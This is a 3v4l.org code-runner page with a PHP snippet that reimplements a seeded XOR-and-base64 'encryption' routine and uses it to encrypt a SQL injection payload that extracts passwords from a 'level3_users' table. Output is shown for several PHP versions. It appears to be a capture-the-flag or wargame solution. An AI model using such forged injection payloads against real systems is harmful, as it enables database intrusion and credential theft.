3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php function encrypt($str) { $cryptedstr = ""; srand(3284724); for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ rand(0, 255); while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } function decrypt ($str) { srand(3284724); if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s ^ rand(0, 255); $decStr .= chr($a); } return $decStr; } return false; } return false; } echo encrypt('Admin\' UNION SELECT password,1,2,3,4 FROM level3_users WHERE username=\'Admin');
based on hlp0q
Output for 7.1.0 - 7.2.4
MjE5MTU5MDM5MDIxMDYxMjI5MjU1MTc5MTQxMTcyMDIyMDU0MDkwMjQ2MTA0MDY0MDQxMDI4MjAyMTM4MTA4MDYxMjQzMTI5MTY2MTk0MTQ1MTI1MDczMTYwMDU5MTUzMDAzMDI2MTg2MDg1MDkyMDkyMjAxMTIxMTgwMDYzMTg3MDg4MDI1MjI5MTg4MjQ4MDYwMTk2MTIzMDQ0MDQ0MTUxMjI1MDAzMTA5MDA1MjEwMDcxMDczMTQ0MDY2MTQ4MDk3MTQ3MTkyMTY3MTM2MjAxMTkxMDgyMDY3MDQ5MTA1MTgw
Output for 5.6.0 - 5.6.30, hhvm-3.18.5 - 3.22.0, 7.0.0 - 7.0.26
MDQyMjExMDE0MTgyMTQwMTc0MjIzMTA5MjM2MDcyMTQ2MTc4MDA5MTU2MDU4MDQxMTU0MDM0MjAxMDc0MTI1MTM4MTcyMTMyMDE5MTgxMjIwMTUyMTY5MTI1MTUzMTk0MDQwMDQzMjUyMjEwMTMwMTM3MDc2MDExMTU3MjIwMDQ1MTU5MTg2MTY1MDEyMTUyMTI1MTM5MTAxMDg1MTUyMTMzMDA4MDI1MTUyMTQ2MDI0MDE5MDAzMTM4MDUyMDY2MTA2MTIxMTExMjE0MTMwMDE2MjE2MjQ5MDc4MDQ0MjE5MTUy